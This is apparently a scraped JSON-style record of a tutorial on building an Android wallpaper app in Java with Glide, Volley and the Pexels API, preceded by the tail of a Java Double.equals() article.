"s": 1734,
"text": null
},
{
"code": null,
"e": 2205,
"s": 2197,
"text": "Output:"
},
{
"code": null,
"e": 2548,
"s": 2205,
"text": "prog.java:15: error: no suitable method found for equals(no arguments)\n if (obj1.equals())\n ^\n method Object.equals(Object) is not applicable\n (actual and formal argument lists differ in length)\n method Double.equals(Object) is not applicable\n (actual and formal argument lists differ in length)\n1 error\n"
},
{
"code": null,
"e": 2621,
"s": 2548,
"text": "Program 3: When anything other than the object is passed as an argument."
},
{
"code": "// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.Math; class Gfg1 { // Driver code public static void main(String args[]) { // When anything other than the argument is passed Double obj1 = new Double(124); System.out.print(\"Object1 & Object2: \"); if (obj1.equals(\"gfg\")) System.out.println(\"Equal\"); else System.out.println(\"Not Equal\"); }}",
"e": 3074,
"s": 2621,
"text": null
},
{
"code": null,
"e": 3104,
"s": 3074,
"text": "Object1 & Object2: Not Equal\n"
},
{
"code": null,
"e": 3119,
"s": 3104,
"text": "Java-Functions"
},
{
"code": null,
"e": 3137,
"s": 3119,
"text": "Java-lang package"
},
{
"code": null,
"e": 3142,
"s": 3137,
"text": "Java"
},
{
"code": null,
"e": 3147,
"s": 3142,
"text": "Java"
},
{
"code": null,
"e": 3245,
"s": 3147,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 3264,
"s": 3245,
"text": "Interfaces in Java"
},
{
"code": null,
"e": 3282,
"s": 3264,
"text": "ArrayList in Java"
},
{
"code": null,
"e": 3302,
"s": 3282,
"text": "Collections in Java"
},
{
"code": null,
"e": 3334,
"s": 3302,
"text": "Multidimensional Arrays in Java"
},
{
"code": null,
"e": 3349,
"s": 3334,
"text": "Stream In Java"
},
{
"code": null,
"e": 3361,
"s": 3349,
"text": "Set in Java"
},
{
"code": null,
"e": 3385,
"s": 3361,
"text": "Singleton Class in Java"
},
{
"code": null,
"e": 3405,
"s": 3385,
"text": "Stack Class in Java"
},
{
"code": null,
"e": 3437,
"s": 3405,
"text": "Initialize an ArrayList in Java"
}
] |
How to Create a Wallpaper App in Android Studio?
|
15 Nov, 2021
Almost all Android devices are having a wallpaper set on their home screen. For setting this wallpaper to the screen many Android devices provides a Wallpaper Application where we can browse different types of wallpapers based on various categories. In this article we will look at, building a similar application in Android devices in Android Studio.
We will be building a simple wallpaper application in which we will be adding functionality to filter wallpapers based on various categories. Along with that we will be also adding a search bar to search wallpapers based on the user search query. Below is the video in which we will get to see what we are going to build in this article. Note that we are going to implement this project using the Java language.
Step 1: Create a New Project
To create a new project in Android Studio please refer to How to Create/Start a New Project in Android Studio. Note that select Java as the programming language.
Step 2: Before going to the coding section first you have to do some pre-task
Go to the app > res > values > colors.xml section and set the colors for your app.
XML
<?xml version="1.0" encoding="utf-8"?><resources> <color name="purple_200">#0F9D58</color> <color name="purple_500">#0F9D58</color> <color name="purple_700">#0F9D58</color> <color name="teal_200">#0F9D58</color> <color name="teal_700">#FF018786</color> <color name="black">#FF000000</color> <color name="white">#FFFFFFFF</color> <color name="blac_shade_1">#292D36</color> <color name="black_shade_2">#272B33</color> <color name="black_shade_3">#22252D</color> <color name="dark_blue_shade">#021853</color> <color name="yellow">#ffa500</color> </resources>
Step 3: Adding dependency in build.gradle file
Go to the Gradle Scripts > build.gradle (Module: app) section and import the following dependencies and click the “sync Now” on the above pop-up.
implementation 'com.github.bumptech.glide:glide:4.11.0'
implementation 'com.android.volley:volley:1.1.1'
annotationProcessor 'com.github.bumptech.glide:compiler:4.11.0'
implementation 'com.github.Shashank02051997:FancyToast-Android:0.1.8'
Navigate to the app > Gradle Scripts > build.gradle(Project level) and in this file, we have to go to add mavenCentral in allProjects section.
allprojects {
repositories {
google()
mavenCentral()
// add below line
maven { url "https://jitpack.io" }
jcenter()
}
}
After adding this dependency we simply have to sync our project to install the packages of all dependencies.
Step 4: Adding Internet Permissions in the AndroidManifest.xml file
Navigate to the app > AndroidManifest.xml file and add the below line of code in it.
XML
<uses-permission android:name="android.permission.SET_WALLPAPER" /><uses-permission android:name="android.permission.INTERNET" />
Step 5: Working with the activity_main.xml file
Navigate to the app > res > layout > activity_main.xml and add the below code to that file. Below is the code for the activity_main.xml file.
XML
<?xml version="1.0" encoding="utf-8"?><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@color/black_shade_1" tools:context=".MainActivity"> <ImageView android:id="@+id/idIVIcon" android:layout_width="100dp" android:layout_height="100dp" android:layout_centerInParent="true" /> <TextView android:id="@+id/idTVHeading" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_below="@id/idIVIcon" android:layout_marginTop="20dp" android:fontFamily="@font/adamina" android:gravity="center" android:text="@string/app_name" android:textAlignment="center" android:textColor="@color/white" android:textSize="20sp" /> <ProgressBar android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/idTVHeading" android:layout_centerHorizontal="true" android:layout_marginTop="10dp" /> </RelativeLayout>
Step 6: Creating a new Java Modal Class for storing the data of categories
Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as CategoryRVModal add below code to it. Comments are added in the code to get to know in more detail.
Java
public class CategoryRVModal { // creating variable font category // and image url on below line. private String category; private String imgUrl; public CategoryRVModal(String category, String imgUrl) { this.category = category; this.imgUrl = imgUrl; } // creating a constructor, getter and setter methods. public String getCategory() { return category; } public void setCategory(String category) { this.category = category; } public String getImgUrl() { return imgUrl; } public void setImgUrl(String imgUrl) { this.imgUrl = imgUrl; }}
Step 7: Creating drawable files
We will be creating two drawable files one will be for our button background. For creating this file, navigate to the app > res > drawable > Right-click on it > New and name it as button_back and add the code below. Comments are added in the code to get to know in more detail.
XML
<?xml version="1.0" encoding="utf-8"?><shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle"> <solid android:color="@color/black_shade_1" /> <!--stroke for our button--> <stroke android:width="1dp" android:color="@color/white" /> <corners android:radius="20dp" /></shape>
After that, we will be creating a drawable file for our search bar background. Similarly, create another drawable file and name it as search_back and add the below code to it.
XML
<?xml version="1.0" encoding="utf-8"?><shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle"> <corners android:radius="15dp" /> <solid android:color="@color/white" /></shape>
Step 8: Creating a layout file for category_rv_item
Navigate to the app > res > layout > category_rv_item and add the below code to it. Comments are added in the code to get to know in more detail.
XML
<?xml version="1.0" encoding="utf-8"?><androidx.cardview.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:layout_width="130dp" android:layout_height="70dp" android:layout_gravity="center" android:layout_margin="5dp" app:cardCornerRadius="8dp"> <!--creating a relative layout on below line--> <RelativeLayout android:layout_width="match_parent" android:layout_height="match_parent"> <!--creating an image view on below line--> <ImageView android:id="@+id/idIVCategory" android:layout_width="match_parent" android:layout_height="match_parent" android:scaleType="centerCrop" android:src="@color/purple_200" /> <!--creating a text view on below line--> <TextView android:id="@+id/idTVCategory" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_centerInParent="true" android:gravity="center_horizontal" android:text="Category" android:textAlignment="center" android:textColor="@color/white" android:textStyle="bold" /> </RelativeLayout> </androidx.cardview.widget.CardView>
Step 9: Creating a layout file for the item in Wallpaper RecyclerView
Navigate to the app > res > layout > Right-click on it > New > Layout Resource file and name it as wallpaper_rv_item and add below code to it. Comments are added in the code to get to know in more detail.
XML
<?xml version="1.0" encoding="utf-8"?><androidx.cardview.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@+id/idCVWallpaper" android:layout_width="match_parent" android:layout_height="200dp" android:layout_margin="6dp" app:cardCornerRadius="8dp"> <!--creating an image view for displaying wallpaper--> <ImageView android:id="@+id/idIVWallpaper" android:layout_width="match_parent" android:layout_height="match_parent" android:scaleType="centerCrop" android:src="@mipmap/ic_launcher" /> </androidx.cardview.widget.CardView>
Step 10: Creating an Adapter class for setting data to items of RecyclerView
Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as WallpaperRVAdapter and add the below code to it. Comments are added in the code to get to know in more detail.
Java
import android.content.Context;import android.content.Intent;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.ImageView; import androidx.annotation.NonNull;import androidx.cardview.widget.CardView;import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import java.util.ArrayList; public class WallpaperRVAdapter extends RecyclerView.Adapter<WallpaperRVAdapter.ViewHolder> { // creating variables for array list and context. private ArrayList<String> wallPaperList; private Context context; // creating a constructor. public WallpaperRVAdapter(ArrayList<String> wallPaperList, Context context) { this.wallPaperList = wallPaperList; this.context = context; } @NonNull @Override public WallpaperRVAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { // inflating our layout file on below line. View view = LayoutInflater.from(context).inflate(R.layout.wallpaper_rv_item, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull WallpaperRVAdapter.ViewHolder holder, int position) { // setting data to all our views. Glide.with(context).load(wallPaperList.get(position)).into(holder.wallpaperIV); // adding on click listener to item view. holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // passing data through intent on below line. Intent i = new Intent(context, WallpaperActivity.class); i.putExtra("imgUrl", wallPaperList.get(position)); context.startActivity(i); } }); } @Override public int getItemCount() { return wallPaperList.size(); } public class ViewHolder extends RecyclerView.ViewHolder { // creating variables for our views // which are created in layout file. private CardView imageCV; private ImageView wallpaperIV; public ViewHolder(@NonNull View itemView) { super(itemView); // initializing all the variables. wallpaperIV = itemView.findViewById(R.id.idIVWallpaper); imageCV = itemView.findViewById(R.id.idCVWallpaper); } }}
Step 11: Creating an Adapter class for our Category RecyclerView
Navigate to the app > java > your app’s package name > Right-click on it > New > Java class and name it as CategoryRVAdapter and add the below code to it. Comments are added in the code to get to know in more detail.
Java
import android.content.Context;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.ImageView;import android.widget.TextView; import androidx.annotation.NonNull;import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import java.util.ArrayList; public class CategoryRVAdapter extends RecyclerView.Adapter<CategoryRVAdapter.ViewHolder> { // creating variables for // array list and context and interface. private ArrayList<CategoryRVModal> categoryRVModals; private Context context; private CategoryClickInterface categoryClickInterface; // creating a constructor. public CategoryRVAdapter(ArrayList<CategoryRVModal> categoryRVModals, Context context, CategoryClickInterface categoryClickInterface) { this.categoryRVModals = categoryRVModals; this.context = context; this.categoryClickInterface = categoryClickInterface; } @NonNull @Override public CategoryRVAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { // inflating our layout file on below line. View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.category_rv_item, parent, false); return new CategoryRVAdapter.ViewHolder(view); } @Override public void onBindViewHolder(@NonNull CategoryRVAdapter.ViewHolder holder, int position) { // setting data to all our views. CategoryRVModal modal = categoryRVModals.get(position); holder.categoryTV.setText(modal.getCategory()); if (!modal.getImgUrl().isEmpty()) { Glide.with(context).load(modal.getImgUrl()).into(holder.categoryIV); } else { holder.categoryIV.setImageResource(R.drawable.ic_launcher_background); } // adding on click listener to item view on below line. holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // passing position with interface. categoryClickInterface.onCategoryClick(position); } }); } @Override public int getItemCount() { return categoryRVModals.size(); } // creating an interface on below line. public interface CategoryClickInterface { void onCategoryClick(int position); } public class ViewHolder extends RecyclerView.ViewHolder { // creating variables on below line. private TextView categoryTV; private ImageView categoryIV; public ViewHolder(@NonNull View itemView) { super(itemView); // initializing all variables on below line. categoryIV = itemView.findViewById(R.id.idIVCategory); categoryTV = itemView.findViewById(R.id.idTVCategory); } }}
Step 12: Creating a new Activity for displaying a single Wallpaper
Navigate to the app > java > your app’s package name > Right-click on it > New > Activity > Select Empty Activity and name it as WallpaperActivity and now we will move towards working of activity_wallpaper.xml.
Step 13: Working with activity_wallpaper.xml file
Navigate to the app > res > layout > activity_wallpaper.xml and add the below code to it. Comments are added in the code to get to know in more detail.
XML
<?xml version="1.0" encoding="utf-8"?><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".WallpaperActivity"> <!--creating an image view for displaying image--> <ImageView android:id="@+id/image" android:layout_width="match_parent" android:layout_height="match_parent" android:scaleType="centerCrop" /> <!--creating a button to set the wallpaper--> <Button android:id="@+id/idBtnSetWallpaper" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_marginStart="20dp" android:layout_marginEnd="20dp" android:layout_marginBottom="10dp" android:background="@drawable/button_back" android:text="Set Wallpaper" android:textAllCaps="false" android:textColor="@color/white" android:textSize="15sp" app:backgroundTint="#A6000000" /> <!--creating a progress bar for loading indicator--> <ProgressBar android:id="@+id/idPBLoading" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" /> </RelativeLayout>
Step 14: Working with the WallpaperActivity.java file
Navigate to the app > java > your app’s package name > WallpaperActivity.java file and add the below code to it. Comments are added in the code to get to know in more detail.
Java
import android.app.WallpaperManager;import android.graphics.Bitmap;import android.graphics.drawable.Drawable;import android.os.Bundle;import android.view.View;import android.widget.Button;import android.widget.ImageView;import android.widget.ProgressBar;import android.widget.Toast; import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity; import com.bumptech.glide.Glide;import com.bumptech.glide.load.DataSource;import com.bumptech.glide.load.engine.GlideException;import com.bumptech.glide.request.RequestListener;import com.bumptech.glide.request.target.Target;import com.shashank.sony.fancytoastlib.FancyToast; import java.io.IOException; public class WallpaperActivity extends AppCompatActivity { // on below line we are creating variables // for imageview and wallpaper manager WallpaperManager wallpaperManager; ImageView image; String url; private ProgressBar loadingPB; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_wallpaper); // initializing all variables on below line. url = getIntent().getStringExtra("imgUrl"); image = findViewById(R.id.image); loadingPB = findViewById(R.id.idPBLoading); // calling glide to load image from url on below line. Glide.with(this).load(url).listener(new RequestListener<Drawable>() { @Override public boolean onLoadFailed(@Nullable GlideException e, Object model, Target<Drawable> target, boolean isFirstResource) { // making progress bar visibility // to gone on below line. loadingPB.setVisibility(View.GONE); return false; } @Override public boolean onResourceReady(Drawable resource, Object model, Target<Drawable> target, DataSource dataSource, boolean isFirstResource) { // making progress bar visibility to gone // on below line when image is ready. loadingPB.setVisibility(View.GONE); return false; } }).into(image); wallpaperManager = WallpaperManager.getInstance(getApplicationContext()); Button setWallpaper = findViewById(R.id.idBtnSetWallpaper); // on below line we are adding on click // listener to our set wallpaper button. setWallpaper.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Glide.with(WallpaperActivity.this) .asBitmap().load(url) .listener(new RequestListener<Bitmap>() { @Override public boolean onLoadFailed(@Nullable GlideException e, Object o, Target<Bitmap> target, boolean b) { Toast.makeText(WallpaperActivity.this, "Fail to load image..", Toast.LENGTH_SHORT).show(); return false; } @Override public boolean onResourceReady(Bitmap bitmap, Object o, Target<Bitmap> target, DataSource dataSource, boolean b) { // on below line we are setting wallpaper using // wallpaper manager on below line. try { wallpaperManager.setBitmap(bitmap); Toast.makeText(WallpaperActivity.this, "Wallpaper Set to Home screen.", Toast.LENGTH_SHORT).show(); } catch (IOException e) { // on below line we are handling exception. Toast.makeText(WallpaperActivity.this, "Fail to set wallpaper", Toast.LENGTH_SHORT).show(); e.printStackTrace(); } return false; } } ).submit(); // displaying custom toast on below line. FancyToast.makeText(WallpaperActivity.this, "Wallpaper Set to Home Screen", FancyToast.LENGTH_LONG, FancyToast.SUCCESS, false).show(); } }); }}
Step 15: Generating the API key for Pixels API
For generating an API for using Pexels API we simply have to go to the Pexels site here. After going to this site we simply have to signup on this website and create an account. After creating a new account you have to simply login to your account. After logging in to your account. You will get to see the below screen.
In this screen, we simply have to click on the account option arrow then simply select the Image and Video API option to get to see our API key. After clicking on that option a new screen will open in which we simply have to click on the Your API key option to get our API key. Then you will get to see your API which is shown below.
Now we will be using this API key in our application.
Step 16: Working with the MainActivity.java file
Go to the MainActivity.java file and refer to the following code. Below is the code for the MainActivity.java file. Comments are added inside the code to understand the code in more detail.
Java
import android.os.Bundle;import android.view.View;import android.widget.EditText;import android.widget.ImageView;import android.widget.ProgressBar;import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity;import androidx.recyclerview.widget.GridLayoutManager;import androidx.recyclerview.widget.LinearLayoutManager;import androidx.recyclerview.widget.RecyclerView; import com.android.volley.Request;import com.android.volley.RequestQueue;import com.android.volley.Response;import com.android.volley.VolleyError;import com.android.volley.toolbox.JsonObjectRequest;import com.android.volley.toolbox.Volley; import org.json.JSONArray;import org.json.JSONException;import org.json.JSONObject; import java.util.ArrayList;import java.util.HashMap;import java.util.Map; public class MainActivity extends AppCompatActivity implements CategoryRVAdapter.CategoryClickInterface { // creating variables for recyclerview, // progress bar, adapter and array list, // edittext and others. private RecyclerView categoryRV, wallpaperRV; private ProgressBar loadingPB; private ArrayList<CategoryRVModal> categoryRVModals; private ArrayList<String> wallpaperArrayList; private CategoryRVAdapter categoryRVAdapter; private WallpaperRVAdapter wallpaperRVAdapter; private EditText searchEdt; private ImageView searchIV; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_home_screen); // initializing all variables on below line. categoryRV = findViewById(R.id.idRVCategories); wallpaperRV = findViewById(R.id.idRVWallpapers); searchEdt = findViewById(R.id.idEdtSearch); searchIV = findViewById(R.id.idIVSearch); loadingPB = findViewById(R.id.idPBLoading); wallpaperArrayList = new ArrayList<>(); categoryRVModals = new ArrayList<>(); // creating a layout manager for // recycler view which is our category. LinearLayoutManager manager1 = new LinearLayoutManager(MainActivity.this, RecyclerView.HORIZONTAL, false); // initializing our adapter class on below line. wallpaperRVAdapter = new WallpaperRVAdapter(wallpaperArrayList, this); categoryRVAdapter = new CategoryRVAdapter(categoryRVModals, this, this); // setting layout manager to our // category recycler view as horizontal. categoryRV.setLayoutManager(manager1); categoryRV.setAdapter(categoryRVAdapter); // creating a grid layout manager // for our wallpaper recycler view. GridLayoutManager layoutManager = new GridLayoutManager(this, 2); // setting layout manager and // adapter to our recycler view. wallpaperRV.setLayoutManager(layoutManager); wallpaperRV.setAdapter(wallpaperRVAdapter); // on below line we are calling method to // get categories to add data in array list. getCategories(); // on below line we are calling get wallpaper // method to get data in wallpaper array list. getWallpapers(); // on below line we are adding on click listener // for search image view on below line. searchIV.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // inside on click method we are getting data from // our search edittext and validating if the input field is empty or not. String searchStr = searchEdt.getText().toString(); if (searchStr.isEmpty()) { Toast.makeText(MainActivity.this, "Please enter something to search", Toast.LENGTH_SHORT).show(); } else { // on below line we are calling a get wallpaper // method to get wallpapers by category. getWallpapersByCategory(searchStr); } } }); } // on below line we are creating a method // to get the wallpaper by category. private void getWallpapersByCategory(String category) { // on below line we are // clearing our array list. wallpaperArrayList.clear(); // on below line we are making visibility // of our progress bar as gone. loadingPB.setVisibility(View.VISIBLE); // on below line we are creating a string // variable for our url and adding url to it. String url = "https://api.pexels.com/v1/search?query=" + category + "&per_page=30&page=1"; // on below line we are creating a // new variable for our request queue. RequestQueue queue = Volley.newRequestQueue(MainActivity.this); // on below line we are making a json object // request to get the data from url . JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { // on below line we are extracting the data from our // response and passing it to our array list. try { loadingPB.setVisibility(View.GONE); // on below line we are extracting json data. JSONArray photos = response.getJSONArray("photos"); for (int i = 0; i < photos.length(); i++) { JSONObject photoObj = photos.getJSONObject(i); String imgUrl = photoObj.getJSONObject("src").getString("portrait"); // on below line we are passing // data to our array list wallpaperArrayList.add(imgUrl); } // here we are notifying adapter // that data has changed in our list. wallpaperRVAdapter.notifyDataSetChanged(); } catch (JSONException e) { // handling json exception // on below line. e.printStackTrace(); } } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { // displaying a simple toast message on error response. Toast.makeText(MainActivity.this, "Fail to get data..", Toast.LENGTH_SHORT).show(); } }) { @Override public Map<String, String> getHeaders() { // in this method passing headers as // key along with value as API keys. HashMap<String, String> headers = new HashMap<>(); headers.put("Authorization", "Enter your key"); // at last returning headers. return headers; } }; queue.add(jsonObjectRequest); } private void getWallpapers() { // on below line we are // clearing our array list. wallpaperArrayList.clear(); // changing visibility of our // progress bar to gone. loadingPB.setVisibility(View.VISIBLE); // creating a variable for our url. String url = "https://api.pexels.com/v1/curated?per_page=30&page=1"; // on below line we are creating a // new variable for our request queue. RequestQueue queue = Volley.newRequestQueue(MainActivity.this); // on below line we are making a json // object request to get the data from url . JsonObjectRequest jsonObjectRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() { @Override public void onResponse(JSONObject response) { // on below line we are extracting the data from // our response and passing it to our array list. loadingPB.setVisibility(View.GONE); try { // on below line we are extracting json data. JSONArray photos = response.getJSONArray("photos"); for (int i = 0; i < photos.length(); i++) { JSONObject photoObj = photos.getJSONObject(i); String imgUrl = photoObj.getJSONObject("src").getString("portrait"); // on below line we are passing // data to our array list wallpaperArrayList.add(imgUrl); } wallpaperRVAdapter.notifyDataSetChanged(); } catch (JSONException e) { // handling json exception // on below line. e.printStackTrace(); } } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { // displaying a toast message on error response. Toast.makeText(MainActivity.this, "Fail to get data..", Toast.LENGTH_SHORT).show(); } }) { @Override public Map<String, String> getHeaders() { // in this method passing headers as // key along with value as API keys. HashMap<String, String> headers = new HashMap<>(); headers.put("Authorization", "Enter your key"); // at last returning headers. return headers; } }; queue.add(jsonObjectRequest); } private void getCategories() { // on below lines we are adding data to our category array list. categoryRVModals.add(new CategoryRVModal("Technology", "https://images.unsplash.com/photo-1526374965328-7f61d4dc18c5?ixid=MnwxMjA3fDB8MHxzZWFyY2h8MTJ8fHRlY2hub2xvZ3l8ZW58MHx8MHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60")); categoryRVModals.add(new CategoryRVModal("Programming", "https://images.unsplash.com/photo-1542831371-29b0f74f9713?ixid=MnwxMjA3fDB8MHxzZWFyY2h8MXx8cHJvZ3JhbW1pbmd8ZW58MHx8MHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=500&q=60")); categoryRVModals.add(new CategoryRVModal("Nature", "https://images.pexels.com/photos/2387873/pexels-photo-2387873.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Travel", "https://images.pexels.com/photos/672358/pexels-photo-672358.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Architecture", "https://images.pexels.com/photos/256150/pexels-photo-256150.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Arts", "https://images.pexels.com/photos/1194420/pexels-photo-1194420.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Music", "https://images.pexels.com/photos/4348093/pexels-photo-4348093.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Abstract", "https://images.pexels.com/photos/2110951/pexels-photo-2110951.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Cars", "https://images.pexels.com/photos/3802510/pexels-photo-3802510.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); categoryRVModals.add(new CategoryRVModal("Flowers", "https://images.pexels.com/photos/1086178/pexels-photo-1086178.jpeg?auto=compress&cs=tinysrgb&dpr=1&w=500")); } @Override public void onCategoryClick(int position) { // on below line we are getting category from our // array list and calling a method // to get wallpapers by category. String category = categoryRVModals.get(position).getCategory(); getWallpapersByCategory(category); }}
Now run your application and see the output of the application.
Note: All drawable files used in the app are present in the drawable folder. Check out the project on below GitHub link.
GitHub Link: https://github.com/ChaitanyaMunje/Wallpaper-App
Output:
gulshankumarar231
Android-Studio
ProGeek 2021
Android
ProGeek
Project
Android
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Add Views Dynamically and Store Data in Arraylist in Android?
Android RecyclerView in Kotlin
Broadcast Receiver in Android With Example
Android SDK and it's Components
How to Communicate Between Fragments in Android?
E-commerce Website using Django
College Management System using Django - Python Project
How to Build a Simple Note Android App using MVVM and Room Database?
Handwritten Digit Recognition using Neural Network
How to Make a Scientific Calculator Android App using Android Studio?
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n15 Nov, 2021"
},
{
"code": null,
"e": 406,
"s": 53,
"text": "Almost all Android devices are having a wallpaper set on their home screen. For setting this wallpaper to the screen many Android devices provides a Wallpaper Application where we can browse different types of wallpapers based on various categories. In this article we will look at, building a similar application in Android devices in Android Studio. "
},
{
"code": null,
"e": 819,
"s": 406,
"text": "We will be building a simple wallpaper application in which we will be adding functionality to filter wallpapers based on various categories. Along with that we will be also adding a search bar to search wallpapers based on the user search query. Below is the video in which we will get to see what we are going to build in this article. Note that we are going to implement this project using the Java language. "
},
{
"code": null,
"e": 848,
"s": 819,
"text": "Step 1: Create a New Project"
},
{
"code": null,
"e": 1010,
"s": 848,
"text": "To create a new project in Android Studio please refer to How to Create/Start a New Project in Android Studio. Note that select Java as the programming language."
},
{
"code": null,
"e": 1088,
"s": 1010,
"text": "Step 2: Before going to the coding section first you have to do some pre-task"
},
{
"code": null,
"e": 1171,
"s": 1088,
"text": "Go to the app > res > values > colors.xml section and set the colors for your app."
},
{
"code": null,
"e": 1175,
"s": 1171,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><resources> <color name=\"purple_200\">#0F9D58</color> <color name=\"purple_500\">#0F9D58</color> <color name=\"purple_700\">#0F9D58</color> <color name=\"teal_200\">#0F9D58</color> <color name=\"teal_700\">#FF018786</color> <color name=\"black\">#FF000000</color> <color name=\"white\">#FFFFFFFF</color> <color name=\"blac_shade_1\">#292D36</color> <color name=\"black_shade_2\">#272B33</color> <color name=\"black_shade_3\">#22252D</color> <color name=\"dark_blue_shade\">#021853</color> <color name=\"yellow\">#ffa500</color> </resources>",
"e": 1770,
"s": 1175,
"text": null
},
{
"code": null,
"e": 1817,
"s": 1770,
"text": "Step 3: Adding dependency in build.gradle file"
},
{
"code": null,
"e": 1963,
"s": 1817,
"text": "Go to the Gradle Scripts > build.gradle (Module: app) section and import the following dependencies and click the “sync Now” on the above pop-up."
},
{
"code": null,
"e": 2202,
"s": 1963,
"text": "implementation 'com.github.bumptech.glide:glide:4.11.0'\nimplementation 'com.android.volley:volley:1.1.1'\nannotationProcessor 'com.github.bumptech.glide:compiler:4.11.0'\nimplementation 'com.github.Shashank02051997:FancyToast-Android:0.1.8'"
},
{
"code": null,
"e": 2346,
"s": 2202,
"text": "Navigate to the app > Gradle Scripts > build.gradle(Project level) and in this file, we have to go to add mavenCentral in allProjects section. "
},
{
"code": null,
"e": 2516,
"s": 2346,
"text": "allprojects {\n repositories {\n google()\n mavenCentral()\n // add below line \n maven { url \"https://jitpack.io\" }\n jcenter() \n }\n}"
},
{
"code": null,
"e": 2626,
"s": 2516,
"text": "After adding this dependency we simply have to sync our project to install the packages of all dependencies. "
},
{
"code": null,
"e": 2694,
"s": 2626,
"text": "Step 4: Adding Internet Permissions in the AndroidManifest.xml file"
},
{
"code": null,
"e": 2781,
"s": 2694,
"text": "Navigate to the app > AndroidManifest.xml file and add the below line of code in it. "
},
{
"code": null,
"e": 2785,
"s": 2781,
"text": "XML"
},
{
"code": "<uses-permission android:name=\"android.permission.SET_WALLPAPER\" /><uses-permission android:name=\"android.permission.INTERNET\" />",
"e": 2915,
"s": 2785,
"text": null
},
{
"code": null,
"e": 2963,
"s": 2915,
"text": "Step 5: Working with the activity_main.xml file"
},
{
"code": null,
"e": 3106,
"s": 2963,
"text": "Navigate to the app > res > layout > activity_main.xml and add the below code to that file. Below is the code for the activity_main.xml file. "
},
{
"code": null,
"e": 3110,
"s": 3106,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:background=\"@color/black_shade_1\" tools:context=\".MainActivity\"> <ImageView android:id=\"@+id/idIVIcon\" android:layout_width=\"100dp\" android:layout_height=\"100dp\" android:layout_centerInParent=\"true\" /> <TextView android:id=\"@+id/idTVHeading\" android:layout_width=\"match_parent\" android:layout_height=\"wrap_content\" android:layout_below=\"@id/idIVIcon\" android:layout_marginTop=\"20dp\" android:fontFamily=\"@font/adamina\" android:gravity=\"center\" android:text=\"@string/app_name\" android:textAlignment=\"center\" android:textColor=\"@color/white\" android:textSize=\"20sp\" /> <ProgressBar android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:layout_below=\"@id/idTVHeading\" android:layout_centerHorizontal=\"true\" android:layout_marginTop=\"10dp\" /> </RelativeLayout>",
"e": 4312,
"s": 3110,
"text": null
},
{
"code": null,
"e": 4387,
"s": 4312,
"text": "Step 6: Creating a new Java Modal Class for storing the data of categories"
},
{
"code": null,
"e": 4594,
"s": 4387,
